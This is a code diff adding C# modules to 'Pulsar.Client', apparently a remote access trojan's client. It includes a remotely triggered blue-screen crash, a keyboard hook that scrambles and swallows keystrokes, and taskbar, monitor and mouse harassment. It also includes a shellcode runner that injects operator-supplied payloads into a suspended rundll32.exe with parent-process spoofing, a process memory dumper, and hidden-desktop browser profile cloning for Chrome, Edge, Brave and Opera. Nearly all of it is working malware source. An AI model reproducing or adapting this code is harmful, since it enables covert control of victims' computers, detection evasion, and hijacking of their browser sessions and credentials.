private static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
public unsafe void DOBSOD()
{
bool t1;
RtlAdjustPrivilege(19, true, false, out t1);
uint resp;
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out resp);
}
}
}
+23
View File
@@ -0,0 +1,23 @@
using System;
using System.Runtime.InteropServices;
namespace Pulsar.Client.FunStuff
{
public static class ChangeWallpaper
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
private const int SPI_SETDESKWALLPAPER = 20;
private const int SPIF_UPDATEINIFILE = 0x01;
private const int SPIF_SENDCHANGE = 0x02;
public static void SetWallpaper(string path)
{
if (string.IsNullOrEmpty(path))
throw new ArgumentException("Path cannot be null or empty.", nameof(path));
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
}
}
}
+37
View File
@@ -0,0 +1,37 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Pulsar.Client.FunStuff
{
public class HideTaskbar
{
private const int SW_HIDE = 0;
private const int SW_SHOW = 5;
[DllImport("user32.dll")]
private static extern int FindWindow(string className, string windowText);
[DllImport("user32.dll")]
private static extern int ShowWindow(int hwnd, int command);
public static void DoHideTaskbar()
{
int taskbarHandle = FindWindow("Shell_TrayWnd", "");
int startButtonHandle = FindWindow("Button", "Start");
if (taskbarHandle != 0)
{
int taskbarState = ShowWindow(taskbarHandle, SW_HIDE);
int startButtonState = ShowWindow(startButtonHandle, SW_HIDE);
if (taskbarState == 0 && startButtonState == 0)
{
ShowWindow(taskbarHandle, SW_SHOW);
ShowWindow(startButtonHandle, SW_SHOW);
}
}
}
}
}
+212
View File
@@ -0,0 +1,212 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using Pulsar.Common.Messages.FunStuff;
namespace Pulsar.Client.FunStuff
{
internal class KeyboardInput : IDisposable
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const int WM_KEYUP = 0x0101;
private const int WM_SYSKEYDOWN = 0x0104;
private const int WM_SYSKEYUP = 0x0105;
private IntPtr _hookID = IntPtr.Zero;
private bool _isBlocked;
private readonly LowLevelKeyboardProc _hookProc;
private Random _rng = new Random();
private Thread _hookThread;
private ManualResetEvent _hookReadyEvent = new ManualResetEvent(false);
public KeyboardInput()
{
_hookProc = HookCallback;
}
public bool IsKeyboardDisabled => _isBlocked;
public void EnableKeyboardBlock()
{
if (_isBlocked) return;
// Start the hook in a separate thread
_hookThread = new Thread(InstallHook)
{
Name = "KeyboardHookThread",
IsBackground = true
};
_hookThread.Start();
// Wait for hook to be installed
_hookReadyEvent.WaitOne(1000);
_isBlocked = true;
}
public void DisableKeyboardBlock()
{
if (!_isBlocked) return;
if (_hookID != IntPtr.Zero)
{
UnhookWindowsHookEx(_hookID);
_hookID = IntPtr.Zero;
}
_hookThread?.Join(1000); // Wait for thread to finish
_hookThread = null;
_hookReadyEvent.Reset();
_isBlocked = false;
}
public void ToggleKeyboardBlock()
{
if (_isBlocked) DisableKeyboardBlock();
else EnableKeyboardBlock();
}
public void Handle(DoBlockKeyboardInput message)
{
if (message.Block) EnableKeyboardBlock();
else DisableKeyboardBlock();
}
private void InstallHook()
{
try
{
using (Process process = Process.GetCurrentProcess())
using (ProcessModule module = process.MainModule)
{
_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _hookProc,
GetModuleHandle(module.ModuleName), 0);
}
if (_hookID == IntPtr.Zero)
{
throw new Exception("Failed to install keyboard hook");
}
_hookReadyEvent.Set(); // Signal that hook is ready
// Start message pump to keep the hook alive
Application.Run();
}
catch (Exception ex)
{
Console.WriteLine($"Hook thread error: {ex.Message}");
}
}
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && _isBlocked)
{
// Grab the key data
int vkCode = Marshal.ReadInt32(lParam);
// 1. Random key swap
if (_rng.NextDouble() < 0.5)
vkCode = _rng.Next(0x20, 0x7E); // random printable char
// 2. Simulate lag
Thread.Sleep(_rng.Next(100, 500)); // 100500ms random lag
// 3. Optionally inject fake key
if (_rng.NextDouble() < 0.3)
{
SendKey((Keys)_rng.Next(0x41, 0x5A)); // inject random letter
}
// 4. Swallow the original input
return (IntPtr)1;
}
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}
private void SendKey(Keys key)
{
INPUT[] inputs = new INPUT[]
{
new INPUT
{
type = 1,
U = new InputUnion
{
ki = new KEYBDINPUT
{
wVk = (ushort)key,
dwFlags = 0
}
}
},
new INPUT
{
type = 1,
U = new InputUnion
{
ki = new KEYBDINPUT
{
wVk = (ushort)key,
dwFlags = 2 // KEYEVENTF_KEYUP
}
}
}
};
SendInput((uint)inputs.Length, inputs, INPUT.Size);
}
[StructLayout(LayoutKind.Sequential)]
private struct INPUT
{
public uint type;
public InputUnion U;
public static int Size => Marshal.SizeOf(typeof(INPUT));
}
[StructLayout(LayoutKind.Explicit)]
private struct InputUnion
{
[FieldOffset(0)] public KEYBDINPUT ki;
}
[StructLayout(LayoutKind.Sequential)]
private struct KEYBDINPUT
{
public ushort wVk;
public ushort wScan;
public uint dwFlags;
public uint time;
public IntPtr dwExtraInfo;
}
[DllImport("user32.dll")]
private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn,
IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
public void Dispose()
{
DisableKeyboardBlock();
_hookReadyEvent?.Dispose();
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
}
}
+65
View File
@@ -0,0 +1,65 @@
using System;
using System.Runtime.InteropServices;
using System.Threading;
using Pulsar.Common.Messages.FunStuff;
namespace Pulsar.Client.FunStuff
{
public class MonitorPower
{
private const int HWND_BROADCAST = 0xFFFF;
private const int WM_SYSCOMMAND = 0x0112;
private const int SC_MONITORPOWER = 0xF170;
private const int POWER_OFF = 2;
private const int POWER_ON = -1;
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);
private Thread _monitorThread;
private bool _keepOff;
public void Handle(DoMonitorsOff message)
{
new Thread(() =>
{
try
{
if (message.Off)
{
_keepOff = true;
_monitorThread = new Thread(() =>
{
while (_keepOff)
{
SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND,
(IntPtr)SC_MONITORPOWER, (IntPtr)POWER_OFF);
Thread.Sleep(1000);
}
})
{
IsBackground = true
};
_monitorThread.Start();
}
else if (message.On)
{
_keepOff = false;
SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND,
(IntPtr)SC_MONITORPOWER, (IntPtr)POWER_ON);
}
else
{
}
}
catch (Exception ex)
{
}
})
{
IsBackground = true
}.Start();
}
}
}
+26
View File
@@ -0,0 +1,26 @@
using System;
using System.Runtime.InteropServices;
using System.Text;
using Pulsar.Common.Messages.FunStuff;
namespace Pulsar.Client.FunStuff
{
public class CDTray
{
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
private static extern int mciSendString(string command, StringBuilder buffer, int bufferSize, IntPtr hwndCallback);
public void Handle(DoCDTray message)
{
try
{
string cmd = message.Open ? "set cdaudio door open" : "set cdaudio door closed";
mciSendString(cmd, null, 0, IntPtr.Zero);
}
catch (Exception ex)
{
Console.WriteLine("CDTray error: " + ex.Message);
}
}
}
}
+381
View File
@@ -0,0 +1,381 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.FunStuff;
using Pulsar.Common.Networking;
namespace Pulsar.Client.FunStuff
{
internal class ShellcodeRunner
{
public void Handle(DoSendBinFile message, ISender client)
{
if (message?.Data == null || message.Data.Length == 0)
{
client.Send(new SetStatus { Message = "Error: Empty payload" });
return;
}
new Thread(() =>
{
try
{
CreateDedicatedProcess(message.Data, client);
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Error: {ex.Message}" });
}
})
{
IsBackground = true
}.Start();
}
private void CreateDedicatedProcess(byte[] shellcode, ISender client)
{
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
STARTUPINFOEX startupInfoEx = new STARTUPINFOEX();
startupInfoEx.StartupInfo.cb = Marshal.SizeOf(startupInfoEx);
startupInfoEx.StartupInfo.dwFlags = 0x00000001;
startupInfoEx.StartupInfo.wShowWindow = 0;
client.Send(new SetStatus { Message = $"Creating dedicated process for {shellcode.Length} bytes..." });
string commandLine = "rundll32.exe kernel32.dll,SleepEx 2147483647";
// Get explorer.exe PID and directory for spoofing
var (parentPid, parentDirectory) = GetExplorerPidAndDirectory();
client.Send(new SetStatus { Message = $"Using PPID spoofing with parent: {parentPid}" });
client.Send(new SetStatus { Message = $"Using directory: {parentDirectory}" });
// Initialize attribute list
IntPtr lpSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
bool success = InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, 2, 0, ref lpSize);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"InitializeProcThreadAttributeList failed: 0x{error:X8}");
}
IntPtr parentProcessHandle = IntPtr.Zero;
IntPtr lpValueProc = IntPtr.Zero;
IntPtr lpMitigationPolicy = IntPtr.Zero;
try
{
// Set PPID spoofing
parentProcessHandle = OpenProcess(ProcessAccessFlags.PROCESS_CREATE_PROCESS, false, parentPid);
if (parentProcessHandle == IntPtr.Zero)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"OpenProcess failed for PPID: 0x{error:X8}");
}
lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValueProc, parentProcessHandle);
success = UpdateProcThreadAttribute(
startupInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
lpValueProc,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"UpdateProcThreadAttribute (PPID) failed: 0x{error:X8}");
}
// Set block non-Microsoft DLLs policy
lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteInt64(lpMitigationPolicy, PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON);
success = UpdateProcThreadAttribute(
startupInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
lpMitigationPolicy,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"UpdateProcThreadAttribute (Mitigation) failed: 0x{error:X8}");
}
// Create process with extended startup info and spoofed directory
success = CreateProcess(
null,
commandLine,
IntPtr.Zero,
IntPtr.Zero,
false,
ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW | ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT,
IntPtr.Zero,
parentDirectory, // Use explorer.exe directory
ref startupInfoEx,
out procInfo);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"CreateProcess failed: 0x{error:X8}");
}
// Continue with original shellcode injection logic
InjectShellcode(shellcode, client, procInfo);
}
finally
{
// Cleanup
if (startupInfoEx.lpAttributeList != IntPtr.Zero)
{
DeleteProcThreadAttributeList(startupInfoEx.lpAttributeList);
Marshal.FreeHGlobal(startupInfoEx.lpAttributeList);
}
if (lpValueProc != IntPtr.Zero) Marshal.FreeHGlobal(lpValueProc);
if (lpMitigationPolicy != IntPtr.Zero) Marshal.FreeHGlobal(lpMitigationPolicy);
if (parentProcessHandle != IntPtr.Zero) CloseHandle(parentProcessHandle);
}
}
private void InjectShellcode(byte[] shellcode, ISender client, PROCESS_INFORMATION procInfo)
{
IntPtr remoteMemory = IntPtr.Zero;
IntPtr remoteThread = IntPtr.Zero;
try
{
client.Send(new SetStatus { Message = $"Created suspended process (PID: {procInfo.dwProcessId})" });
remoteMemory = VirtualAllocEx(
procInfo.hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
AllocationType.COMMIT | AllocationType.RESERVE,
MemoryProtection.EXECUTE_READWRITE);
if (remoteMemory == IntPtr.Zero)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"VirtualAllocEx failed: 0x{error:X8}");
}
client.Send(new SetStatus { Message = $"Allocated memory at: 0x{remoteMemory:X}" });
uint bytesWritten = 0;
if (!WriteProcessMemory(procInfo.hProcess, remoteMemory, shellcode, (uint)shellcode.Length, ref bytesWritten))
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"WriteProcessMemory failed: 0x{error:X8} - {bytesWritten}/{shellcode.Length} bytes");
}
client.Send(new SetStatus { Message = $"Wrote {bytesWritten} bytes to process memory" });
remoteThread = CreateRemoteThread(
procInfo.hProcess,
IntPtr.Zero,
0,
remoteMemory,
IntPtr.Zero,
0,
out uint shellcodeThreadId);
if (remoteThread == IntPtr.Zero)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"CreateRemoteThread failed: 0x{error:X8}");
}
client.Send(new SetStatus { Message = $"Created shellcode thread (ID: {shellcodeThreadId})" });
ResumeThread(procInfo.hThread);
CloseHandle(remoteThread);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
client.Send(new SetStatus { Message = $"Shellcode executed in rundll32.exe (PID: {procInfo.dwProcessId}, Thread: {shellcodeThreadId})" });
}
catch
{
if (remoteThread != IntPtr.Zero) CloseHandle(remoteThread);
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
throw;
}
}
private (uint pid, string directory) GetExplorerPidAndDirectory()
{
Process[] explorerProcesses = Process.GetProcessesByName("explorer");
if (explorerProcesses.Length > 0)
{
var explorer = explorerProcesses[0];
string directory;
try
{
// Try to get the actual working directory of explorer.exe
directory = Path.GetDirectoryName(explorer.MainModule.FileName);
if (string.IsNullOrEmpty(directory))
{
// Fallback to Windows directory
directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
}
}
catch
{
// Fallback to Windows directory if we can't access the process
directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
}
return ((uint)explorer.Id, directory);
}
throw new Exception("No explorer.exe process found for PPID spoofing");
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
ProcessCreationFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
ref uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[StructLayout(LayoutKind.Sequential)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[Flags]
private enum ProcessCreationFlags : uint
{
CREATE_SUSPENDED = 0x00000004,
CREATE_NO_WINDOW = 0x08000000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000
}
[Flags]
private enum AllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000
}
[Flags]
private enum MemoryProtection : uint
{
EXECUTE_READWRITE = 0x40
}
[Flags]
private enum ProcessAccessFlags : uint
{
PROCESS_CREATE_PROCESS = 0x0080,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_READ = 0x0010
}
private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
private const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007;
private const long PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000;
}
}
@@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace Pulsar.Client.FunStuff
{
public class SwapMouseButtons
{
[DllImport("user32.dll")]
public static extern bool SwapMouseButton(bool swap);
[DllImport("user32.dll")]
public static extern int GetSystemMetrics(int nIndex);
private const int SM_SWAPBUTTON = 23;
public static void SwapMouse()
{
bool isSwapped = (GetSystemMetrics(SM_SWAPBUTTON) != 0);
SwapMouseButton(!isSwapped);
}
}
}
BIN
View File
Binary file not shown.
+16
View File
@@ -0,0 +1,16 @@
using System;
namespace Pulsar.Client.Helper
{
public static class DateTimeHelper
{
public static string GetLocalTimeZone()
{
var tz = TimeZoneInfo.Local;
var tzOffset = tz.GetUtcOffset(DateTime.Now);
var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : "";
var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName;
return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})";
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using Pulsar.Client.Utilities;
using System;
using System.IO;
using System.Diagnostics;
namespace Pulsar.Client.Helper
{
public static class DumpHelper
{
/// <summary>
/// Dumps a processes memory to a temporary file, then reads the bytes and deletes the file.
/// </summary>
/// <param name="pid">Process id of the process to dump</param>
/// <param name="type">What kind of memory dump to do</param>
/// <returns></returns>
public static (string, bool) GetProcessDump(int pid, NativeMethods.MiniDumpType type = NativeMethods.MiniDumpType.MiniDumpWithFullMemory)
{
Process process = Process.GetProcessById(pid);
string tmpFile = Path.GetTempFileName();
try
{
bool success = false;
using (FileStream fs = new FileStream(tmpFile, FileMode.Create, FileAccess.Write, FileShare.None))
{
success = NativeMethods.MiniDumpWriteDump(
process.Handle,
process.Id,
fs.SafeFileHandle.DangerousGetHandle(),
type,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
}
if (success)
{
return (tmpFile, true);
}
}
catch (Exception ex)
{
return (ex.ToString(), false);
}
return ("", false);
}
}
}
@@ -0,0 +1,65 @@
using System;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Represents the progress state while cloning a browser profile directory.
/// </summary>
internal readonly struct BrowserCloneProgress
{
public BrowserCloneProgress(int filesCopied, int totalFiles, string currentItem, bool isIndeterminate = false)
{
FilesCopied = filesCopied;
TotalFiles = totalFiles;
CurrentItem = currentItem ?? string.Empty;
IsIndeterminate = isIndeterminate;
}
/// <summary>
/// Gets the number of files copied so far.
/// </summary>
public int FilesCopied { get; }
/// <summary>
/// Gets the total number of files scheduled for cloning.
/// </summary>
public int TotalFiles { get; }
/// <summary>
/// Gets the relative path of the item currently being cloned.
/// </summary>
public string CurrentItem { get; }
/// <summary>
/// Indicates whether the operation is currently in an indeterminate state.
/// </summary>
public bool IsIndeterminate { get; }
/// <summary>
/// Gets the progress percentage (0-100) when the total file count is known.
/// </summary>
public int Percent
{
get
{
if (TotalFiles <= 0)
{
return 0;
}
double raw = (double)FilesCopied / TotalFiles * 100d;
if (raw < 0d)
{
return 0;
}
if (raw > 100d)
{
return 100;
}
return (int)Math.Round(raw);
}
}
}
}
@@ -0,0 +1,262 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Manages the small progress form shown when cloning browser profiles so users can observe the operation.
/// </summary>
internal sealed class BrowserCloneProgressSession : IDisposable
{
private const string HvncDesktopName = "PulsarDesktop";
private readonly CloneProgressForm _form;
private readonly Progress<BrowserCloneProgress> _progress;
private readonly CancellationTokenSource _cts;
private readonly EventHandler _cancelHandler;
private bool _completed;
private bool _disposed;
private BrowserCloneProgressSession(CloneProgressForm form)
{
_form = form;
_cts = new CancellationTokenSource();
_cancelHandler = (sender, args) => RequestCancel();
_form.UserRequestedCancel += _cancelHandler;
_progress = new Progress<BrowserCloneProgress>(state =>
{
if (!_form.IsDisposed)
{
_form.UpdateProgress(state);
}
});
}
/// <summary>
/// Gets a progress reporter that can be used from background threads.
/// </summary>
public IProgress<BrowserCloneProgress> Progress => _progress;
/// <summary>
/// Gets a token that is cancelled when the user closes the progress UI.
/// </summary>
public CancellationToken CancellationToken => _cts.Token;
public void ReportPreparing()
{
InvokeOnUi(() => _form.ShowPreparing());
}
public Task ReportCompletionAsync(bool wasSuccessful)
{
if (_completed)
{
return Task.CompletedTask;
}
_completed = true;
if (_form.IsDisposed)
{
return Task.CompletedTask;
}
var completionSource = new TaskCompletionSource<object>(TaskCreationOptions.RunContinuationsAsynchronously);
InvokeOnUi(() => _form.BeginCompleteAnimation(wasSuccessful, () => completionSource.TrySetResult(null)));
return completionSource.Task;
}
public static Task<BrowserCloneProgressSession> TryCreateAsync(string browserName)
{
var completion = new TaskCompletionSource<BrowserCloneProgressSession>(TaskCreationOptions.RunContinuationsAsynchronously);
var uiThread = new Thread(() =>
{
IntPtr desktopHandle = IntPtr.Zero;
BrowserCloneProgressSession session = null;
try
{
desktopHandle = DesktopInterop.OpenOrCreate(HvncDesktopName, out int openError);
if (desktopHandle == IntPtr.Zero)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Failed to open or create desktop '{HvncDesktopName}'. Win32 error: {openError}");
completion.TrySetResult(null);
return;
}
if (!DesktopInterop.TrySetThreadDesktop(desktopHandle))
{
int threadError = Marshal.GetLastWin32Error();
Debug.WriteLine($"[BrowserCloneProgressSession] SetThreadDesktop failed with error {threadError} for desktop '{HvncDesktopName}'.");
completion.TrySetResult(null);
return;
}
var form = new CloneProgressForm();
form.Initialize(browserName);
void HandleCreated(object sender, EventArgs args)
{
form.HandleCreated -= HandleCreated;
try
{
session = new BrowserCloneProgressSession(form);
completion.TrySetResult(session);
}
catch (Exception ex)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Failed to initialize progress session: {ex.Message}");
completion.TrySetResult(null);
form.BeginInvoke(new Action(form.Close));
}
}
form.HandleCreated += HandleCreated;
form.FormClosed += (_, __) => Application.ExitThread();
Application.Run(form);
if (!completion.Task.IsCompleted)
{
completion.TrySetResult(session);
}
}
catch (Exception ex)
{
Debug.WriteLine($"[BrowserCloneProgressSession] Exception while creating progress UI: {ex.Message}");
completion.TrySetResult(null);
}
finally
{
DesktopInterop.Release(desktopHandle);
}
})
{
IsBackground = true,
Name = "Pulsar HVNC Progress UI"
};
uiThread.SetApartmentState(ApartmentState.STA);
uiThread.Start();
return completion.Task;
}
public void Dispose()
{
if (_disposed)
{
return;
}
_disposed = true;
_form.UserRequestedCancel -= _cancelHandler;
InvokeOnUi(() =>
{
if (!_form.IsDisposed)
{
_form.Close();
_form.Dispose();
}
});
_cts.Dispose();
}
private void RequestCancel()
{
if (_disposed)
{
return;
}
if (!_cts.IsCancellationRequested)
{
_cts.Cancel();
}
}
private void InvokeOnUi(Action action)
{
if (_form.IsDisposed)
{
return;
}
if (_form.InvokeRequired)
{
try
{
_form.BeginInvoke(action);
}
catch (ObjectDisposedException)
{
// ignored
}
}
else
{
action();
}
}
private static class DesktopInterop
{
private const uint DesktopAccessMask = 0x000001FF;
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
public static IntPtr OpenOrCreate(string desktopName, out int lastError)
{
lastError = 0;
IntPtr handle = OpenDesktop(desktopName, 0, true, DesktopAccessMask);
if (handle != IntPtr.Zero)
{
return handle;
}
lastError = Marshal.GetLastWin32Error();
handle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, DesktopAccessMask, IntPtr.Zero);
if (handle == IntPtr.Zero)
{
lastError = Marshal.GetLastWin32Error();
}
return handle;
}
public static bool TrySetThreadDesktop(IntPtr handle)
{
return handle != IntPtr.Zero && SetThreadDesktop(handle);
}
public static void Release(IntPtr handle)
{
if (handle != IntPtr.Zero)
{
CloseDesktop(handle);
}
}
}
}
}
@@ -0,0 +1,146 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Configuration for browser injection including paths and parameters
/// </summary>
public class BrowserConfig
{
public string ExecutablePath { get; set; }
public string SearchPattern { get; set; }
public string ReplacementPath { get; set; }
}
/// <summary>
/// Manages browser configurations for HVNC injection
/// </summary>
public static class BrowserConfiguration
{
private static readonly Dictionary<string, BrowserConfig> BrowserConfigs = new Dictionary<string, BrowserConfig>(StringComparer.OrdinalIgnoreCase)
{
{
"Chrome", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "Google\\Chrome\\Application\\chrome.exe"),
SearchPattern = "Local\\Google\\Chrome\\User Data",
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
}
},
{
"ChromeX86", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Google\\Chrome\\Application\\chrome.exe"),
SearchPattern = "Local\\Google\\Chrome\\User Data",
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
}
},
{
"Edge", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Microsoft\\Edge\\Application\\msedge.exe"),
SearchPattern = "Local\\Microsoft\\Edge\\User Data",
ReplacementPath = "Local\\Microsoft\\Edge\\KDOT"
}
},
{
"Brave", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "BraveSoftware\\Brave-Browser\\Application\\brave.exe"),
SearchPattern = "Local\\BraveSoftware\\Brave-Browser\\User Data",
ReplacementPath = "Local\\BraveSoftware\\Brave-Browser\\KDOT"
}
},
{
"Opera", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera\\opera.exe"),
SearchPattern = "Roaming\\Opera Software\\Opera Stable",
ReplacementPath = "Roaming\\Opera Software\\KDOT"
}
},
{
"OperaGX", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera GX\\opera.exe"),
SearchPattern = "Roaming\\Opera Software\\Opera GX Stable",
ReplacementPath = "Roaming\\Opera Software\\KDOT"
}
}
};
